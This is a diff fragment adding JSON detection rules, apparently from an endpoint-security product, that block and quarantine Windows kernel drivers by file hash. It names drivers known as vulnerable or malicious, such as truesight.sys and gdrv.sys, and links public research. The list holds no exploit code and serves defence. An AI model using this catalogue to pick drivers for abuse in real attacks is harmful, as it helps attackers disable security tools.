+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cc8bbb5efb676b0aa2aea74d585bf1f7e245f81cbba8c79600373bfa37f509e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf652d58-5aa1-5652-b643-baf3f25f4735",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985593Z",
+  "creation_date": "2026-03-23T11:45:29.985595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea3c5569405ed02ec24298534a983bcb5de113c18bc3fd01a4dd0b5839cd17b9",
+  "comment": "Vulnerable Kernel Driver (aka echo_driver.sys) [https://ioctl.fail/echo-ac-writeup/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bf75b9ea-20b8-5f8e-a57e-66f3d9ca38c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143653Z",
+  "creation_date": "2026-03-23T11:45:31.143657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1aa30ae6070876f539cb14013730d3d2d9ca3c805474d638d5b8c97bb101d44",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfa30aac-8827-5dfe-a5c5-7dec3c184f50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620278Z",
+  "creation_date": "2026-03-23T11:45:29.620280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620285Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74a846c61adc53692d3040aff4c1916f32987ad72b07fe226e9e7dbeff1036c4",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfad995b-2bca-5c3c-988b-f8d4b32dfa82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815933Z",
+  "creation_date": "2026-03-23T11:45:31.815935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24add6fcd09dda0b3ef57d8fa53d5d45b63aecd3e4b2d754259aa70a288e997f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfbae45d-5a13-576a-a925-4b5eecdf87fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617149Z",
+  "creation_date": "2026-03-23T11:45:29.617151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7841ee6dac956cc0923368d6722063a19c9fa131e55c6f3b7484cce78d826f0",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfc56eea-275a-59e9-8931-ed4badd8e632",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143853Z",
+  "creation_date": "2026-03-23T11:45:32.143855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6a5ef968bd0e47e1ca9433f8e8d0b9bed0aa0a3baf982fdc27b1cc3b4b857b8",
+  "comment": "Vulnerable Kernel Driver (aka wnbios.sys) [https://www.loldrivers.io/drivers/baa168cd-eba2-42e4-95e9-47cb4b2f9094/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfce2f03-01d9-557c-80ee-bf0cce65bf79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487891Z",
+  "creation_date": "2026-03-23T11:45:31.487893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ce4ba2b520f8fc976a61f918d2f45affae7c9ea7cdaaeda17b820bdb2403a4f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfd2c98b-f642-5ab4-b12a-59d6236a39f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978301Z",
+  "creation_date": "2026-03-23T11:45:29.978302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd33fb2735cc5ef466a54807d3436622407287e325276fcd3ed1290c98bd0533",
+  "comment": "Vulnerable Kernel Driver (aka nt5.sys) [https://www.loldrivers.io/drivers/193df066-c27c-4343-a4eb-ad2ac417a4cc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfdc6746-3d3c-5cf3-9ca7-693ecf696f1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813533Z",
+  "creation_date": "2026-03-23T11:45:31.813536Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3e6015aad30c38d738387901350ea9ac362c09fb6e95c5cf2121b071a03a3d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfde6dd4-0ebd-5112-8755-67dcf74f1eb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141716Z",
+  "creation_date": "2026-03-23T11:45:31.141718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141723Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f6274c200454803cc82c9d595750fd7a0ad7f10ded56c42b3e42011024fea87",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfedc4ce-2464-5073-8e41-51b0167a1138",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155984Z",
+  "creation_date": "2026-03-23T11:45:31.155986Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf392302c14e22524c7fba846f62db690bbb0658a587d5025b7b9782e629a727",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bff29c72-5b94-58b4-9bf3-e4050d3d7f06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980046Z",
+  "creation_date": "2026-03-23T11:45:29.980049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a47b9af109988e8e033886638edc84964968eecd0d24483eafaad6a6d68005ea",
+  "comment": "Malicious Kernel Driver (aka wantd.sys) [https://www.loldrivers.io/drivers/892292f9-b87c-40a5-80e5-8c9b02914e8b/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bfffad42-0996-5acf-b852-93d126b84b8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826425Z",
+  "creation_date": "2026-03-23T11:45:30.826427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7716c3c62cf88db90fcd0b60854479a16dded16c91812544a77db3121f2eb8bd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c00856ea-bf67-511c-843d-4b76f615c7ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827218Z",
+  "creation_date": "2026-03-23T11:45:30.827220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfd936baaeb51542d04609043ed166b6a2a4e826e5e0e506757e8960fa3b03de",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c009df39-95fb-5c7a-9556-8ed074067f80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976853Z",
+  "creation_date": "2026-03-23T11:45:29.976855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a149695e1eeef8c4728f091be7d64304d7e00c8a2f27adc7d96a111de15a79b",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c00f329c-e5af-5a5a-81da-fc09c6df712b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827049Z",
+  "creation_date": "2026-03-23T11:45:31.827051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827057Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17308b1c03775e40fc1b37d8414502c81624b4d52c04875e8de1a496eccb808d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c01739ab-02b7-5ec3-a457-442a4c6769b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148677Z",
+  "creation_date": "2026-03-23T11:45:31.148679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "930e0cf02d9a9146b1dd20c76f66826b624ead0e06cfd846d72bd7db61b2a086",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c01a4dc9-1302-5a55-b7f9-435fa669fe99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609076Z",
+  "creation_date": "2026-03-23T11:45:29.609078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81aafae4c4158d0b9a6431aff0410745a0f6a43fb20a9ab316ffeb8c2e2ccac0",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c01a6684-9ee9-5967-8bad-a32d96b9074a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142611Z",
+  "creation_date": "2026-03-23T11:45:31.142613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d91d3ab359d4a166dac86de0ce5a1fbed39f4ca088e0b86f84c7c8939e6a7692",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0232b97-f92b-5e42-a6b0-741e624acf8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821413Z",
+  "creation_date": "2026-03-23T11:45:30.821417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d474ea066d416ded9ed8501c285ca6b1c26a1d1c813c8f6bd5523eeb66c5d01e",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0279a45-b00d-5e31-9adc-0a565c41d537",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977532Z",
+  "creation_date": "2026-03-23T11:45:29.977534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a334bdf0c0ab07803380eb6ef83eefe7c147d6962595dd9c943a6a76f2200b0d",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c02ae058-2788-5b39-93bb-7c9ab9faf70c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145677Z",
+  "creation_date": "2026-03-23T11:45:31.145679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ace913c9b494fd607a1e60796ad768ea1b61ff134d1e58b96843ebdb43986a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
